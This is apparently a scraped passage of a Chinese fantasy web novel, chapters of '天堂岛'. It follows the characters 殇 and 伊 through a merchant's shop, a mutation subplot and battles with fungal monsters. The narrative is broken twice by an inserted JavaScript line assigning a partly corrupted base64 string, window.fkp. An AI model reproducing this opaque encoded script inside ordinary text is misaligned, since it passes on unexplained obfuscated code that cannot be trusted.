殇转身看去,发现自己之前弄丢的那根避雷针正插在自己身后的地面上。他整个人都被惊住了,他百思不得其解,明明它在战斗途中遗失了,现在它却凭空出现在这里,这其中一定有蹊跷。殇拔起地上的避雷针,仔细端倪了一番,确认这就是他之前遗失的那根避雷针。 流浪商人笑道: “这根避雷针价值三万通用货币,你若把它卖给我,你就可以在我的小店里买一些你们用得到的东西,其中有你最需要的符文。怎么样?意下如何?” 殇想了想,又看了看伊的眼神,他默默地点了点头,接着把避雷针卖给了流浪商人。 流浪商人笑道: “不错的交易!钱已经打在了你的核心里,接下来,跟我去鄙人的小店逛一逛吧。” 说完,流浪商人就领着殇他们来到了这节火车车厢的里面。虽然从外面看这个火车车厢很小,但是里面的空间却很大,这里面大小远比看上去要大。 流浪商人的小卖铺里有许多他们从未见过的东西,例如差一颗宝石就能毁灭半个宇宙生灵的手套、一个戴上去能变身铁人的反应堆核心、一个有一千片刀刃组成的刀、一把会飞的剪刀、一个有着无尽宇宙的长剑、一个做工精致的草方块、一把发着蓝光的激光剑、一个有着许多只金色眼睛且长相奇特黑色羽毛方刃大剑、中心有着黑色发光水晶的植物球、一把有着黄金刀柄绿色刀刃的大地之剑、一只神烦狗、一个神秘的邀请函、一瓶有着治疗功能的洗手液、一把造型炫酷的双管霰弹枪、一把龙纹狙击枪、一个长得像水滴的外星探测器、、一把能够打开其他宇宙传送门的传送枪、一把普通的传送枪、一把能够打碎一切的撬棍、一只白色的小狗。 琳琅满目的商品使得殇他们开足了眼界,这些都是他们从未见过的神奇东西。流浪商人此时拿出了一把有着紫罗兰风格纹路的铂金剪子,接着漫步走到了正在看着草方块的伊身旁。 流浪商人: “先别看了,先让我给你剪个漂亮的发型后你再挑选吧。” 伊回过神来,她转头点了点头答应了。 流浪商人: “你们两个先在我店里挑选商品,我先去给这个姑娘剪个头。” 殇和马婷婷: “好。” 流浪商人领着伊来到了专门用来剪头的隔间之中,之后流浪商人按照伊的意愿给伊剪了个她想要的发型....... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 天堂岛—第二话:坏灭 与此同时,在太玄国的皇家医疗部中,轩偷偷地来到了这里。 她此时感觉到自己体内用一股奇怪的力量正在汇聚,这种力量让她感觉不妙,于是她来到了医疗部进行身体方面的体检。由于有本国的奇点科技加持,轩完成一系列体检只用了不到半个小时的时间。在体检结果出来的那一刻,所有医疗人员都震惊了。 轩的血型发生了变化,她现在所拥有的的血型是一个所有人都未见过的特殊血型。同时她体内的核心像病毒一样扩散到了全身,她现在的身体就是一个巨大的核心。这着实惊呆了所有的医疗人员,就连那些见过各种世面的医学院院士都感到了不可思议,他们当时立刻对此事展开了研讨。 在短暂的研讨后,一个冰冷的事实摆在他们眼前。轩现在已经属于扭曲生物与人类之间的范畴了,她现在是能够使用核心而且不会被反扭曲武器杀死的超人类,她的危险等级仅次于天灾。随即院士们将此事通过电话汇报给了太玄国的皇帝,之后针对轩展开了第二次的研讨。 轩在走廊的座椅上很焦急地等待着,不一会,一个医生阴着脸拿着体检结果出来了。轩见到医生后立刻站起身来快步走到了医生面前询问状况,医生只是叹了口气,接着先把手中的结果单交给了轩。轩接过结果单后定睛一看,下一秒,她整个人都被惊住了,她难以相信眼前的事实。 医生无奈地说: “轩,测试结果表明你现在已经不是一名人类了。你现在是扭曲生物之中的一员了,你现在跟那些天灾是同种生物了。” 轩的眼角泛着泪光,她的表情很是悲伤,她的心里很难接受眼前的事实。变成自己所憎恨的存在,这对她简直是天大的打击。 轩惊诧地问: “不!不不不!这不是真的!我......我怎么会是那些该死的扭曲生物呢?!医生,我猜是不是你们的仪器出问题了?” 医生叹了口气,说: “哎......很抱歉,这就是事实。” 轩用一种绝望与悲伤并存的眼神看着这名医生。看到她这种眼神,这名医生甚是惋惜。这名医生想开口说些什么,可没等他开口,轩沉默着转身跑出医疗部。望着轩悲伤的背影,这名医生叹了口气。 医生惋惜地说: “可惜这么好的个人了。” 轩是扭曲生物的事情很快传遍了皇宫上下,所有人都知道了轩发生变异的事实。许多人知道这个消息后不禁为轩感到了惋惜,毕竟轩在他们的印象中是个刚正不阿又善良聪慧的人。墨子邵很快也知道了这个消息,他对这个冷酷的事实很是惊讶,他有些不敢相信这个严峻的事实。但是在事实证据面前,他只能相信这个严峻的事实。 出于对同事的关心,墨子邵自己一个人不带任何武器前往了轩的住处。等他到轩的住处的时候,轩正在一个人坐在沙发上掩面痛哭。轩此时头上已经长出了一对龙角,她的手背上也像之前那样长出了龙鳞,先前的异象再次浮现在她的身上。看样子她快控制不住自己了。墨子邵见此顾不得危险,直接冲进了屋内。 墨子邵冲屋内喊道: “轩!” 听到墨子邵的声音,轩缓缓放下了手去用她血红色的双眼去看眼前的墨子邵。泪水顺着她的面颊缓缓流下,她的双眼布满血丝,她的心里只有无尽的悲伤。 轩用颤抖的声音问: “墨子邵?你......你怎么来了?” 墨子邵来到轩的身旁,然后他不顾生命安危直接坐在了轩的旁边。 墨子邵用关怀的语气答: “听说你这边出了点状况,我怕出事,所以就来看看发生什么事了。” 轩用颤抖的声音倾诉道: “墨子邵,我......我......我成了大家最讨厌的存在!我辜负了大家的期待,更辜负了莫将军对我的期待!这样的我,该怎么继续守护祖国呢?将士末路,犹成恶贼。” 说完,轩继续掩面痛哭。墨子邵见此有些心疼,作为了一同守护了皇帝好几年的战友,他最能知道轩此时的感觉。他长舒了一口气,然后用手轻轻抚摸轩的头。这时,轩哭的更大声了。再坚强的人也有脆弱的一面,崩溃之后的恸哭在所难免。墨子邵见状,刻意借出半边肩膀,供她依靠着放声哭泣。轩抹不开面子,并未主动靠上去。墨子邵见此,主动搂住她的肩膀,以示宽慰。 墨子邵微笑道: “别垂头丧气的,这可不像你。无论发生什么事,我们都能找到解决的办法的。别忘了,我们可都是向皇帝许下誓言的,说好了无论如何都要履行誓言的。” 轩哭着说: “可......可是这样的我......该怎么去面对皇帝与皇子?又该怎么去面对我们的人民呢?所有人都会认为我是怪物的!既然是怪物,所有人就该同仇敌忾,将其诛杀。一视同仁,我定是死路一条!呜呜呜......想不到......我还未以身许国就要葬在同胞手中.......” 墨子邵微笑道: “不,轩,你误解了。所有人都知道你不是一个怪物,而是他们眼中的女汉子龙之卫。人与怪物之间只有一线之隔,这一条线,叫做人性。依我看,你还是那个你,丝毫没有发生改变。” 轩缓缓放下了自己捂着脸的手,紧接着转头看向身旁的墨子邵。 轩用颤抖的声音问: “这样的我,大家一定会嫌弃的吧?” 墨子邵温柔的一笑,说: “我觉得大家应该都会理解你。毕竟你是我们亲爱的龙之卫,是当之无愧的国家之梁。如果实在担心的话,你大可可以向我说出来。无论如何,你都是我们的朋友。” 轩用颤抖的声音问: “你说真的?你真的这么想吗?” 墨子邵用手擦去轩脸上的泪水。 墨子邵微笑道: “当然了!多年同战,即为羁绊。” 听到墨子邵这么说,轩很是感动,此刻的她不知是该哭还是该笑了。轩激动地给予墨子邵一个拥抱,墨子邵有些猝不及防。待他回过神来后,墨子邵轻拍她的后背,安慰她不安的心。 这时,轩的眼睛变回了原来的褐色,手背上的龙鳞跟着消失,头上的龙角也跟着变小。等轩清楚地意识到自己的行为时,她立马松开墨子邵,然后摆正身位,假装刚刚无事发生。轩红着脸,有些羞涩地冲墨子邵笑,以示谢意。这时,墨子邵突然握住了轩的一只手,并用一种十分坚定的眼神看着轩。 墨子邵自信地说: “无论发生什么,我们都能克服的!龙之子孙,绝不屈服于命运。” 墨子邵的自信感染到了轩。轩微笑着点了点头。 轩信心满满地说: “嗯。我们能够克服的!” 这时轩的住所早已被皇宫内的士兵给包围了,这些士兵严阵以待,随时准备应对轩的突然袭击。 此时太玄国的皇帝来到了轩的住所外,他的身边站着年龄仅有十一岁的皇子,此时他和皇子的表情都是担忧,他们都很担心轩的状况。当轩和墨子邵并排走到所有人面前的时候,轩身上的异变已经被轩本人给控制住了。太玄国的皇帝见此长舒了一口气,随即太玄国皇帝下令将轩送到了皇家医学院中进行各项生理数据的检测,决定在检测结果出来后在做出对轩的处理。 与此同时...... 殇和马婷婷正在大量流浪商人店中的各式各样的产品,这些来自其他时间线的物品让殇和马婷婷感到了新奇,他们从来没有见过这些这么神奇的物品。 殇: “伏魔宝典......原神宝珠......这些玩意可真高端。” 马婷婷: “坎瑞亚高端三明治配方?好想尝一尝啊!矿石病治疗血清,看起来就像彩虹一样漂亮呢。” 就在他们欣赏这些产品的时候,伊悄悄从剪头专用的隔间之中走了出来。殇和马婷婷转头看去,他们惊奇地发现伊此刻的样子变得比以前漂亮了许多,无不赞叹伊变化之大。 伊那一头垂到后背的长发如今变成了很别致的马尾辫,她的头发上多了一个很别致的星云色蝴蝶结,蝴蝶上有着类似于繁星一样的白色点缀物。她身上穿着的不再是那身白色西服,现在的她穿着一身很精致且有着波浪纹路的高级深蓝色女式轻甲,轻甲的肩甲上刻着龙辉神匠的标志。 见到换了服装与发型的伊,殇和马婷婷顿时眼前一亮。 伊有些害羞地说: “怎么样?看上去还行吗?” 马婷婷惊呼道: “哇哦!伊,你这身看上去太漂亮了!” 伊有些害羞地说: “有......有吗?” 殇点头道: “一个字,行!” 流浪商人此时拿着一本记事本从剪头发的隔间之中走了出来,他低着头看着手中这本记事本,他缓缓走到了付账的地方,接着把手中的书一合,轻轻地放在了桌子上。 流浪商人: “说实在的,这身轻甲与这个头型不错吧?反正我是觉得挺合适的。” 殇一听这话,仔细打量了一番现在的伊,他惊奇地发现伊身上穿着的这件衣服与伊的身形完美契合,仿佛是专门为伊定制的,同时他还注意到伊肩甲上的龙辉神匠的标志。 殇转头看向流浪商人,问: “流浪商人,你从哪弄来的这件轻甲?” 流浪商人笑道: “吼吼!您可真有眼光。这身轻甲可是我冒着生命危险从某个未知渠道弄来的奇点结晶,它可是龙辉神匠集团最高级的材料所制造出的顶级装甲。这种装甲做工高端大气上档次,内带恒温内衬,不惧严寒酷暑;其表面硬度比金刚石都硬,但柔韧度却接近于布料......” 流浪商人话还没说完,就被殇直接打断了。 殇不耐烦地问: “别说这些有的没的!告诉我,这件轻甲多少钱?” 流浪商人笑道: “让我想一下......大约通用货币。” 殇震惊了,惊呼道: “卧槽!这......这么贵!” 流浪商人笑道: “客官不要担心,这件轻甲的钱已经被你们的一个老朋友给付清了,你们不用担心买不了的问题。” 殇擦了擦汗,说: “呼~还好有朋友帮忙垫付了......” 殇突然意识到不对。 “等等......朋友?我们哪个朋友能付得起这些钱?” 流浪商人委婉地说: “这个......不方便透露名字。” 殇问: “为什么?” 流浪商人回答: “很抱歉,付钱的人特意嘱咐过不让我告诉你们她的名字与身份。” 殇说: “好吧。无论是谁,谢谢她帮忙付款了。” 流浪商人此时突然用手指了指在一旁看水晶球的马婷婷。 流浪商人: “那个金色头发的小姑娘,你叫马婷婷对吗?” 马婷婷听到流浪商人这么说,立即回过头去回答他。 马婷婷点头道: “对。——你怎么知道我的名字?” 流浪商人笑道: “吼吼!因为我认识一位叫做吴的科学家。” 一听到吴的名字,马婷婷瞪大了双眼,她此时十分的惊讶。 马婷婷惊讶地说: “你......你认识吴妈妈?” 流浪商人笑道: “对!我认识她。她曾在我这儿买了许多生活用品,是我这儿的老常客了。” 马婷婷惊奇地说: “真的吗?” 流浪商人笑道: “真的。而且,我来这里还有个目的,就是帮助吴收养的孩子去幸存者联盟国去找夜歌大哥。” 马婷婷惊讶地说: “你说真的?” 流浪商人点头道: “真的。只不过......你得在我的小店里当一阵员工。等我的小店运行到幸存者联盟国的时候,你就可以见到夜歌大哥了。怎么样?你愿意委屈一下自己来搭乘本人的便车吗?马婷婷?” 马婷婷手托下巴思考了几秒,她觉得自己能够信任眼前这个刚刚认识不久的流浪商人,毕竟她除了自己这一条命以外没有什么可失去的了。 马婷婷坚定地说: “行。我愿意搭乘你的便车。” 流浪商人笑道: “吼吼!您做出了正确的选择。” 流浪商人此时突然想起了一件很重要的事,他转身从货架上拿下了一块发着绿色光芒的符文。他转身将这个符文递给了殇。 流浪商人: “差点忘了这个了。拿好他,战士。这个符文能够使你获得一个我说不出来的特殊能力。” 殇接过这个符文打量了一番。突然,他感应到这块符文貌似在呼唤着他,这种感觉不是错觉,因为他一直能感受到来自这块符文的一种旁人听不见的声音。 流浪商人: “如果你要买它,本店只收你两万三。算上给那个漂亮姑娘的剪头钱,总共两万七。付款吧,战士。” 殇看了看流浪商人,又看了看手中的符文。他点了点头,流浪商人见此也点了点头。流浪商人拿出了一个扫描仪,接着扫走了殇核心之中的两万七千通用货币。 流浪商人: “感谢惠顾!欢迎下次光临。” 殇握紧手中的符文,接着他吸收了这块符文。吸收这块符文之后,殇隐约感觉到自己拥有了什么特殊的能力,但是他说不出也不知道这种能力究竟是什么。 在得到这块符文之后,殇与伊告别了马婷婷,漫步走向了植物园内。 植物园内有着各种奇珍异草,各种漂亮与高达的树木,其中还掺杂着几棵巨大的紫色蘑菇树。生命的气息涌动在植物园中,各种各样的花朵盛开着,各种各样的小动物在树木之间嬉戏,明媚的阳光照在花草树木上,温暖的风吹过整个植物园,树叶与花朵随着风微微摆动着,一切都是那么和谐,整个植物园都是一幅生机盎然的样子。 可在这生机盎然的地方,疫病依旧在肆虐,生命的气息盖不过里面依旧腐朽畸变的事实。在植物园的树木之间,隐隐能够看到有几棵枯死的树木与许多昆虫的尸体。这么大的植物园,却听不到鸟叫声,昔日守护森林的守护者们如今却都一一绝迹,只留下命入膏肓的孤独森林。这很反常,也很正常。 殇带着伊来到了植物园其中的一个温室大棚的门口。温室大棚的门是用一种有着黄金光泽的金属铸成的,所以看起来十分奢华与气派。殇用手摸了摸这扇布满灰尘的门,他的脑海之中隐约感觉到自己曾经来到过这个地方,曾经他碰过这扇大门。熟悉的地点,熟悉的植物园,熟悉的感觉,不见当年熟悉的人。 殇惋惜道: “可惜这么好的地方了......” 说完,殇往后稍了几步,接着一个健步接侧踢踹开了这扇门。在大门打开的瞬间,温室内所有游荡的感染者都齐刷刷地看向了殇和伊。这些感染者与之前的绿毛怪不同,他们的身上都生长着一种紫色的蘑菇,他们的双眼都被一种紫色的荆棘所替代,看起来格外的吓人。他们的身上有着残破且脏乱的衣服,从外观上来看,这些感染者其中有些是园丁,有些事上层人士,还有些是皇宫贵族。他们整体看起来还是能分辨出生前的性别的,只不过他们早就没了人类的样子,个个都长得跟寄生兽一样,因此他们的样子是十分难看的,令人恶心与憎恶。 伊惊讶地说: “这......这里竟然有感染者!他们长得好恶心啊!” 殇摆好架势,说: “看起来来者不善啊。” 小鸟: “看样子,他们貌似不欢迎我们。” 小鸟此时突然出现在殇的肩膀上,这着实吓了殇一跳。没等殇开口问肩上的小鸟有关他突然出现一事,这些感染者突然俯下身体,冲着殇他们露出了獠牙,并且做好了战斗的架势。殇做好战斗准备,他很自然地张开双臂,准备迎接接下来的战斗。 殇: “激活,E协议!生成Emw-43-1绝望双镰!” 殇的双手之中出现了两把黑色的死神镰刀,这两把镰刀是与他曾经战斗过的对手黑死神手中的武器。现如今,轮到殇来好好使用这把武器了。在战斗开始之前,殇在伊的面前生成了一把白羽方刃大剑,这把白羽方刃大剑竖直插在了伊前面的地上。 殇: “拿好了!保护好自己,别死喽,菜鸟!我在船上怎么教你的,你就怎么用!” 伊: “哦。” 说完,伊拔起了这把大剑,接着做好了战斗的架势。就在殇与伊说话的时候,这些感染者已经悄悄向前走了七八步了,现在这些感染者距离殇和伊只有不到五米的距离。 殇: “放马过来吧,你们这些蘑菇精!” 这些蘑菇精仿佛能听懂人话,在殇说完这句话之后,他们立刻表现出了愤怒的姿态,紧接着张牙舞爪地冲向了殇。殇见此后脚脚尖点地,接着一个冲刺冲向了这些蘑菇精。在靠近敌人之后,他以极快的速度挥舞手中的镰刀,边跑边对着这些蘑菇精连续快速地左右连挥,在极短的时间之后,他的身后形成了一道由血雾组成的红线。 在一顿左右连挥之后,殇一个健步一跃而起,直接一个落地猛冲跳到了一群蘑菇精的中间,紧接着一大片蘑菇精直接从地上被震得飞了起来。在殇落地后,他对着他身前还在半空中的蘑菇精来了一记x斩杀,瞬间鲜血横飞,血雾弥漫。殇以极快的速度水平反转了手中的镰刀,然后快速转身将两把镰刀像扔回旋镖一样扔了出去,镰刀在空中快速飞行,以一个弧线斩杀了许多的蘑菇精。 而在伊这边,情况就截然不同了。仅有的一只能侥幸躲过了殇的致命攻击的蘑菇精冲到了伊的面前,伊见此很是紧张,但是她今非昔比了,她在航船未抵达天堂岛的时候已经被殇训练出了一点技巧与一点肌肉记忆。在蘑菇精对她挥出利爪的时候,她本能地用大剑直接对着他的手臂来了一剑,这一剑直接斩断了蘑菇精的手臂,并且让蘑菇精本能地捂住了他受伤的部位。伊抓住这个时机,用一记竖劈结束了这个蘑菇精的生命。在杀死这个蘑菇精之后,伊很是开心,她很庆幸自己能够保护自己了。 伊: “耶!太好了,我终于可以打得过这些感染者了!” 反观殇这边,许多身形魁梧且身穿战甲的蘑菇精包围了殇,并对着殇发起了进攻。就在这个时候,殇扔出去的那两把镰刀飞回来了,殇见此一个快速转身接住镰刀接着对这些蘑菇精来了个环身横扫彻底突破包围。这时,一个严重变异的巨大蘑菇人拎着一个大锤突然打破温室的房顶坠了下来。它落地之后对着殇发出了咆哮,紧接着轮着大锤就冲向了殇。伊见此有些慌张,而殇此刻丝毫不慌,他知道眼前的敌人压根就不是他的对手。 殇: “没头脑的大家伙,只是一团死的慢的肉块而已。” 殇一个健步冲向了这个大家伙,这个大家伙见到殇主动冲上来攻击他,立刻轮动锤子,预判殇的位置,紧接着一锤子砸了过去。殇微微一笑,他瞬间一个侧身侧步闪直接躲过这一锤,同时他借着侧闪时的惯性直接一个反斜身一脚蹬墙直接对着这个大家伙的手臂来了一记双镰下砸。这一下直接给这个大家伙的手臂撕开了一个大口子,这个大家伙咆哮了一下,他忍着痛挥动手臂弹飞了殇手中的镰刀,并把殇打飞出去十几米。殇一个后空翻接落地猛冲直接落地,同时下压身体做好了下一招的架势。 伊: “殇......你现在没了武器,你.......” 殇: “不用担心,看好了,别眨眼。” 这个大家伙此时被殇激怒了,他也下压身体,准备一跃而起给殇砸成肉泥。在电光火石之间,殇和这个大家伙同时一跃而起加速冲向了对方。 殇: “米拉穿心决!” 在不到一秒的瞬间,胜负已分。这个大家伙的锤子还没等轮到殇,殇一个掏心处决直接给他的胸腔打开了一个足足有一个人大的伤口,紧接着浑身是血的殇淡定地站在这个大块头的后方用力捏碎了这个大块头扭曲且畸变的心。这个大块头倒下了,鲜血流了一地。 在远处的伊都看呆了,她整个人的世界观都被刷新了,她不禁拍手叫好。 伊激动地说: “殇!帅!你太帅了!” 伊绕过大块头的尸体跑向了殇,就在她距离殇还有五六米的时候,她突然停下了。她的眼中突然看到了她的母亲正在前往另一间温室大棚的门口处向她挥手,伊见此感到十分地不可思议,她揉了揉眼睛,她惊奇地发现眼前的不是幻象,而是她“真正的母亲”。 伊: “妈......妈妈?是你吗?” 伊娜: “是我,孩子。” 母亲温柔的声音使伊无法抗拒。 “妈妈!是你,你来了!我好想你!” “我也想你啊,孩子。快,伊。到妈妈这里来,我带你回我们温馨的家。” “好!我来了,妈妈。” 伊娜推开了前往下一间温室的大门,接着伊快步跟了上去。推开这扇大门,伊娜就站在一扇发着光芒的大门前。 伊娜: “快到我这里来,孩子。我们回家了......” 伊快步跑到了伊娜身前紧紧地抱住了她的母亲,此刻,她一刻都不想松开紧紧抱着母亲的手。 伊: “我们会在一起的!永远。” 伊娜: “没错,我们会在一起的。永远......” (给我他妈的清醒过来!) 殇一拳头直接打醒了陷入被迷惑状态的伊。伊此时发现自己的面前不是自己的母亲,而是一个怪异蓝紫色的大蘑菇,这个大蘑菇上还有着一个人的上半身。 伊惊恐地说: “怎.....怎么回事?” 此时这个大蘑菇的身后伸出几个触手,接着其中一只触手死死地抓住了伊。它将伊高举起来,并仔细打量了一番。殇此时想要出手去救伊,可是他被身后突然袭来的毒刺刺穿了身体,并且被这个大蘑菇的触手扇飞出去七八米。 星幻毒菇狂喜道: “哈哈哈!这么漂亮的食物!一会能有一件美丽的艺术品了。” 这个大蘑菇的茎干上出现了许多的小蘑菇,这些小蘑菇顺着大蘑菇的茎干缓缓向着伊移动。 星幻毒菇阴笑道: “不用担心,我的小蘑菇可以在短时间终结你的痛苦的。” 说完,这些小蘑菇就慢慢爬到了伊的手臂上。伊见此被吓得脸色苍白,她开始浑身颤抖,她能感觉到深深的恐惧萦绕在自己的心头。 伊: “不......不要......不要杀我!” 突然,一把回旋的镰刀切断了抓着伊的触手。 殇: “想动她,问过我没有。” 殇握紧手中的镰刀,一个健步冲向了这个大蘑菇。这个大蘑菇见此狂妄地笑了笑,接着从地面上伸出了许多触手。殇见此挥舞镰刀左边一下右边一下地将这些触手悉数斩断,接着对着这个大蘑菇扔出了自己手中的另一把镰刀。这把锋利的镰刀直接贯穿了它的躯干,并且斩断了这个大蘑菇背后的许多触手。这个大蘑菇发出了几声低鸣,接着缩起身后的触手来转换养料来修复自身的缺口。 殇抓住这个空档,直接变出仲裁者之锤一个下砸对着这个大蘑菇来了一记重击。这一击打晕了这个大蘑菇,为殇争取到了宝贵的时间。为了保护伊的安全,殇冲到伊的面前,对着伊奋力一推,直接把伊推飞出去四五米。 殇: “小心点。别死喽!” 说完殇转身刚准备轮动锤子去终结眼前的大蘑菇,只见这个大蘑菇的两个触手突然从殇的背后袭来,接着直接抓住了殇和他手中的锤子。此刻殇手中的锤子在另一只触手上,他现在手无寸铁了,但殇依旧丝毫不慌。他握紧手中的拳头,做好了决一死战的准备。远处的伊见此很是担心与害怕,她害怕殇这么强大一个人就死在了这个大蘑菇的手上,她有些不想失去殇这个朋友。 伊: “殇!” 殇对着这个大蘑菇来了一记开山拳,这一拳直接在它的躯干上打出了一个大口子。这个大蘑菇哀嚎了一声,接着用身后的触手对殇进行攻击,殇一个侧闪躲开了它的攻击。就在这时,刚刚的闪躲让殇看到了大蘑菇体内的核心。殇抓准机会,对着这个大蘑菇来了一记掏心处决。他一把抓住这个大蘑菇的核心,接着用力往外一拽,将这个大蘑菇的核心从大蘑菇体内拽了出来。 殇: “结束吧。” 说完殇捏碎了手中的核心。之后这个大蘑菇感觉到了一阵难以忍受的痛苦,这种痛苦使得它开始不停地抽搐,同时它的躯体开始慢慢变成一种白色的石头。 星幻蘑菇: “不!你......你做了什么?我......我赖以生存的.......东......西......还.......” 没等它说完,它就变成了一座石雕,不一会,这个石雕自己解体成了许多粉末。殇见此松了一口气,他刚想站起来去找伊,一阵剧痛袭来,他背部的伤口开始恶化。他看向自己的手,发现自己的手部开始生长一种跟星幻蘑菇颜色一样的蘑菇,他的皮肤正在溃烂,他的骨骼正在瓦解。殇忍着痛一瘸一拐地走向了伊,远处的伊见到这样的殇很是担心。 伊担心道: “你没事吧?殇。你身上怎么长了许多的蘑菇?” 殇忍着痛说: “别......别过来。” 说完,殇的身体倒下了。伊见此想要上前去扶起殇,可是殇对了做了个手势告诉她别过来。 殇绝望地说: “都说了别过来!我身上被那种该死的蘑菇寄生了......现在......‘我’已经没有生还希望了......” 伊此时的眼角泛着泪光,她现在心里有些伤心。 伊不舍地说: “不!别放弃,一定还有办法的。” 殇摇摇头,说: “不......没办法了.......” 伊伤心道: “殇......” 殇自信一笑,说: “在我死后别靠近我,小心被感染.......在这默哀一会.......我一会回来......” 说完,殇的眼前一黑,殇悬着的手放下了。 见到殇死去,伊不禁潸然泪下,她知道殇最后的那句话是怎样的意思。回想她曾与殇的种种,她真心为这个朋友的死而感到遗憾与悲伤。伊低着头正对着殇的尸体默默地擦着眼泪,以此来悼念她死去的朋友。 伊哭着说: “都怪我!要不是为了我......你怎么会死呢?!对不起......对不起,殇。我那时要没有中了那个破蘑菇的邪术,你怎么会跟它同归于尽呢?这一切都赖我。殇,你是我最好的朋友,感谢你帮助我一路走来,感谢你一次次地救我。我......我对不起你......” 伊就这样低着头一直哭了很久...... ...... 在虚幻与现实的交点,殇再一次感受到自己的存在。殇睁开双眼,发现自己身处虚空。冥冥之中,殇感觉到了一缕光出现在自己眼前。顺着那道光明,殇见到了光芒之中的身影。那人是一位蓝发科学家,正面带笑容地看着殇。殇走向那缕光,木讷地看着光中的男人。 殇不禁问道: “你是谁?” 对方见殇一脸疑惑的样子,笑着解释道: “你好,殇先生。我是星盟首席工程师新爱仍津,欢迎你来到我的亚空间。” “亚空间?那是哪儿?” “独立于你所处的宇宙的小宇宙,是空间折叠压缩产生的空置域。通俗一点,就是异次元空间。” “这莫过于太科幻了吧?!” “一切都可以用方程式来解读。” “我想你一定是一个聪明的家伙,以后定有建树。” “过奖了,其实还好。” “所以说,我该怎么离开这里?” “别急着走,殇。我找你来是想告诉你一些事情。” “啥事?” “你现在一直想不起过去的事对吧?你感觉身旁的一切都有些熟悉,但更多的还是陌生。你能感到自己体内有一个不一样的自己,可却怎么也找不到那个自己。这一切,都是源于你附身到了一具尸体上。” 听到对方的叙述,殇惊呆了。 “唔啊!你......你怎么知道得这么彻底?” “因为我时刻在关注你,和我的朋友一起。” “什么意思?” “我知道失去记忆的你对此会这样茫然,但事实的确如此。你终有一日要坦然面对这一切,面对你的过去。” 听到此处,殇突然惊慌起来。 “你什么意思?过去的自己?难道我不就是个附生在尸体上的寄生虫吗?” “不,你的身份比那要高级得多。” “难道......我曾是什么伟大的人物吗?可他们都叫我混蛋。” “不闻乐者不知舞者之乐。人们的目光总是短浅的,他们看不清表面之下的事物。正因如此,你们才会花费数万甚至数百万年的时间来完成文明阶段的进化。” “停停,你越说我越懵了。” “有些事情,你以后会自己想起来的。” 殇面露惊恐的神色,新爱仍津对此淡然一笑,意味深长地说: “你若想完全变回自己,首先要经过一系列事件的刺激,再加上你感情的爆发与人格意识的觉醒,最终那个完整的你才会重现世间。” 新爱仍津抬起手,猛地攥拳。突然,一颗发光五角星出现在两人的头顶。殇抬头看去,发现五个风格的不同的法阵处在五角星的五个顶角处,每个法阵都是他即将面临的劫。凝望这些法阵,殇的心神有些恐惧,他在畏惧自己的过去。新爱仍津又一次抬起手,这次五角星的中央也出现了一个法阵。新爱仍津对此解释道: “这五重劫需要你通过五样宝贵的事物来解除。而第六重劫,则在你敢于接受自己时解除。” 殇好奇地问: “那这六重劫分别是什么呢?” 新爱仍津解释道: “残忍、自私、冷漠、偏执、蔑视、迷惘。” “那我该用什么来解除它们呢?” “怜悯、豁达、关爱、理性、正义。” “那我该怎么获得这些东西呢?” “哈哈哈,这得靠你自己的领悟了。” “领悟?” “破除六劫,重拾自我。直面一切,迎来重生。时间冠冕,极隐巅峰。最终辉煌,重生之王。” “诶?你这话是什么意思?” 没等殇问出答案,殇就回到了现实。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 天堂岛—第三话:疯狂真菌 此刻,伊还在为自己逝去的朋友殇哭泣,她的眼泪一滴一滴地滴落在地上。就在这时,殇长满蘑菇的尸体突然动了,伊见此本能地后撤了一步,接着十分警惕地看着殇的尸体,生怕从殇的尸体变成怪物袭击她。殇的尸体的背部颤动了几下,仿佛有什么东西要从这里钻出来。 不一会,一个中心有着发光水晶的金属球体从殇的尸体之中钻了出来。这个球体只有一个网球的大小,再配合它中心的发光水晶,它看起来像极了一只眼球。 核心: “操!憋死我了!好好的一个肉体被这个臭蘑菇给糟蹋没了,真是倒了大霉了。” 伊见到这个说话语气与殇一模一样的核心,她很是惊讶。 伊: “殇,是......是你吗?” 这个核心转了一圈把中心的瞳孔对准了伊,这个核心在不到三秒的扫描之后确认了面前的人是自己的伙伴伊。在检测到伊之后,这个核心感到了惊喜与惊讶,它想不到伊竟然一直在这里等着。这个核心向着伊移动了一小段距离,伊见此本能地后退了几步。 核心: “是我,我是殇。” 伊听到这话,她有些难以相信,但是事实就摆在她的面前。 伊: “真......真的是你吗?殇。你......你不是死去了吗?” 核心: “事实上我的本体一直就是这个核心,这件事我还没跟你说,你不知道很正常。” 伊: “所以......你是死不掉的!” 核心: “没错。” 一听到殇拥有不死的能力,伊有些恼怒。 伊: “我白为你伤心与哭泣了!殇,你为什么不早告诉我?!” 核心: “这个......我忘了。” 伊: “以后有什么重要的事跟我说一声!” 核心: “你......你是老大我是老大?!” 伊: “......你是。” 核心: “先别说闲话了,这里并不安全。快把我拿起来,然后我们赶紧离开这里吧!” 伊: “好。” 她快步走到这个核心面前,接着一把抓起这个核心先仔细打量了一番。这时,她看到了核心中心全息显示屏上的碧蓝世界的标志,那个标志的地下有着夸克的字样,伊见到这个标志之后明白了这个核心所蕴含的东西以及殇为什么这么强了。 伊心里: “想不到......殇的核心里面竟然有奇点协议!而且这个奇点科技竟然还是叔叔公司的!他绝对不是一般人!能有这种协议的人......难不成!” 伊瞬间瞪大的双眼,她拿着核心的手突然颤抖了一下。伊的眼睛死死地盯着这个核心中心的水晶,这个核心的水晶表面上倒映出了伊那双有着红色眼眸的眼睛,此刻周围的空气突然凝固。伊静静地看着手中的核心,她手中的核心也静静地看着她。 伊心里: 